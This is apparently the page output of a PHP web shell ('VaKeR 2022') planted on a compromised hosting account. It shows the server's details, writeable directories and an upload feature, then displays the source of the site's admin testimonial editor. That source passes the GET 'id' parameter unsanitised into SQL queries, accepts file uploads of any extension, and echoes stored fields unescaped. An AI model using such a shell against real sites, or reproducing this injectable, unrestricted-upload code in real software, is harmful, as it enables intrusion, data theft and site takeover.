%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_93b53270/admin/manage_test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_93b53270/admin/manage_test/add_edit.php
<?php 
error_reporting(0);
include("../function.php");
if($_SESSION['admin_id']==""){
header('location:../login.php');

}
$login_tbl=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM admin WHERE admin_id='".$_SESSION['admin_id']."'"));

// Sidebar strat
include('../include/sidebar.php');
// Sidebar wrap
$id=$_GET['id'];


?>

<!-- [ Main Content ] start -->
<section class="pcoded-main-container">
    <div class="pcoded-content">
        <!-- [ breadcrumb ] start -->
        <div class="page-header">
            <div class="page-block">
                <div class="row align-items-center">
                    <div class="col-md-12">
                        <div class="page-header-title">

 <div class="card-header d-flex justify-content-between">
<button class="btn btn-dark text-light fw-bold btn-sm btn-round has-ripple"><i class="feather icon-edit"></i>&nbsp; Add | Edit | Testimonials | </button>
</div>
                        </div>
                     
                    </div>
                </div>
            </div>
        </div>
        <!-- [ breadcrumb ] end -->
        <!-- [ Main Content ] start -->
        
<div class="row">

<div class="col-md-12">
<div class="card">
<!-- <div class="card-header d-flex justify-content-between">
</div> -->
<div class="card-body">
<?php if(isset($_SESSION['img_error'])){
echo '<div class="alert alert-danger alert-dismissible fade show" role="alert">
<i class="feather icon-alert-triangle text-danger"></i>&nbsp; &nbsp;<strong class="text-dark">'.$_SESSION['img_error'].'</strong> 
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
</button>
</div>';
}
unset($_SESSION['img_error']); 
?> 
<?php 
$fetQuery=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM testimonial_tbl WHERE id='$id'"));  
?>
                      
<form method="post" action="" enctype="multipart/form-data" autocomplete="off">                       
<div class="row">
  
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="name">Name</label>
<input type="text" name="name" class="form-control" value="<?php if($id!=''){echo $fetQuery['name'];} ?>">
</div>
</div>

<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Business">Business</label>
<input type="text" name="business" class="form-control" value="<?php if($id!=''){echo $fetQuery['business'];} ?>">
</div>
</div>

<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="State">State</label>
<input type="text" name="state" class="form-control" value="<?php if($id!=''){echo $fetQuery['state'];} ?>">
</div>
</div>

<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="about">About</label>
<textarea name="about" id="editor1" class="form-control"><?php if($id!=''){echo $fetQuery['about'];} ?></textarea>
</div>
</div>

<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Url Link">Url Link</label>
<input type="url" name="link" class="form-control" value="<?php if($id!=''){echo $fetQuery['link'];} ?>" />
</div>
</div>

<!-- <div class="col-md-6">
<div class="form-group">
<label class="form-label" for="rate">Rating</label>
<select class="form-select" name="rate" required>
<option value="">Please select Rate</option>
<option value="1" <?=($fetQuery['rate']=='1')?'selected':'';?>>⭐</option>
<option value="2" <?=($fetQuery['rate']=='2')?'selected':'';?>>⭐⭐</option>
<option value="3" <?=($fetQuery['rate']=='3')?'selected':'';?>>⭐⭐⭐</option>
<option value="4" <?=($fetQuery['rate']=='4')?'selected':'';?>>⭐⭐⭐⭐</option>
<option value="5" <?=($fetQuery['rate']=='5')?'selected':'';?>>⭐⭐⭐⭐⭐</option>
</select>
</div>
</div> -->

<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="image1">Image</label>
<input type="file" name="image1" id="picture" class="form-control">
<p id="error1" style="display:none; color:#FF0000;">
Invalid File Format! File Format Must Be JPG, JPEG, PNG , Webp.
</p>
<p id="error2" style="display:none; color:#FF0000;">
File size must be less than 20MB
</p>
</div>  
</div>

<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="status">Status</label>
<select class="form-select" name="status" required>
<option value="">Please select status</option>
<option value="1" <?=($fetQuery['status']=='1')?'selected':'';?>>Show</option>
<option value="0" <?=($fetQuery['status']=='0')?'selected':'';?>>Hide</option>
</select>
</div>
</div>

<div class="col-md-6 my-4">
<?php 
if(($id!='')){
echo'<img src="'.$base_url.'images/Upload/testimonial/'.$fetQuery['image1'].'" style="width:100px;">';   
}
?>    
</div>

</div>

<div class="row">
<div class="col-md-6">
<?php 
if(($id!='')){
    echo'<input type="submit" name="update" class="btn btn-success" value="Update">';
}else{
  echo'<input type="submit" name="add" class="btn btn-success" value="Add">';   
}
?>&nbsp;
<a class="text-white btn btn-secondary" href="show.php?page=test">Back</a>

</div>
</div>
                 
 </form>                      
                                         
</div>
</div>
</div>
            
<!-- [ form-element ] end -->
</div>
<!-- [ Main Content ] end -->
</div>
</section>

<?php include('../include/footer.php'); ?>

<!-- Insert data start --->
<?php
if(isset($_POST['add'])){
$name=$_POST['name'];
$name=str_replace("'", "\'", $name);
$business=$_POST['business'];
$business=str_replace("'", "\'", $business);
$about=$_POST['about'];
$about=str_replace("'", "\'", $about);
$state=$_POST['state'];
$state=str_replace("'", "\'", $state);
$status=$_POST['status'];
$link=$_POST['link'];

$file_name=$_FILES['image1']['name'];
$file_tmp=$_FILES['image1']['tmp_name'];
$file_ext=strtolower(end(explode('.',$_FILES['image1']['name'])));

$addQry=mysqli_query($conn,"INSERT `testimonial_tbl` SET 
`name`='$name',
`business`='$business',
`about`='$about', 
`state`='$state',
`link`='$link', 
`status`='$status'")or die(mysqli_error($conn));

$ido = mysqli_insert_id($conn);
$slug=create_url($name).$ido;

if(!empty($file_name)){
$random_number = rand();
$new_file_name = $random_number.'.'.$file_ext;
$file_path="../../images/Upload/testimonial/".$new_file_name;
move_uploaded_file($file_tmp,$file_path);
mysqli_query($conn,"UPDATE `testimonial_tbl` SET `image1`='$new_file_name',`slug`='$slug' WHERE id='$ido'")or die(mysqli_error($conn));
}

echo "<script>window.location='show.php?page=test';</script>";
$_SESSION['message']="Record Added successfully";
}
?>
<!-- Insert data warp --->

<!-- Update data start --->
<?php
if(isset($_POST['update'])){
$name=$_POST['name'];
$name=str_replace("'", "\'", $name);
$business=$_POST['business'];
$business=str_replace("'", "\'", $business);
$about=$_POST['about'];
$about=str_replace("'", "\'", $about);
$state=$_POST['state'];
$state=str_replace("'", "\'", $state);
$status=$_POST['status'];
$link=$_POST['link'];
$slug=create_url($name).$id;

$file_name=$_FILES['image1']['name'];
$file_tmp=$_FILES['image1']['tmp_name'];
$file_ext=strtolower(end(explode('.',$_FILES['image1']['name'])));

if(!empty($file_name)){
$random_number = rand();
$new_file_name = $random_number.'.'.$file_ext;
$file_path="../../images/Upload/testimonial/".$new_file_name;
$dlt=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM `testimonial_tbl` WHERE id='$id'"));
$dlt_path="../../images/Upload/testimonial/".$dlt['image1'];
unlink($dlt_path);
move_uploaded_file($file_tmp,$file_path);
$sql="UPDATE `testimonial_tbl` SET `image1`='$new_file_name' WHERE id='$id'";
$query=mysqli_query($conn,$sql);
}

$editQry=mysqli_query($conn,"UPDATE `testimonial_tbl` SET 
`name`='$name',
`business`='$business',
`about`='$about', 
`state`='$state',
`link`='$link', 
`slug`='$slug',  
`status`='$status' WHERE id='$id'")or die(mysqli_error($conn)); 
if($editQry){
echo "<script>window.location='show.php?page=test';</script>";
$_SESSION['message']="Record Updated successfully";
}
}
?>
<!-- Update data warp --->

VaKeR 2022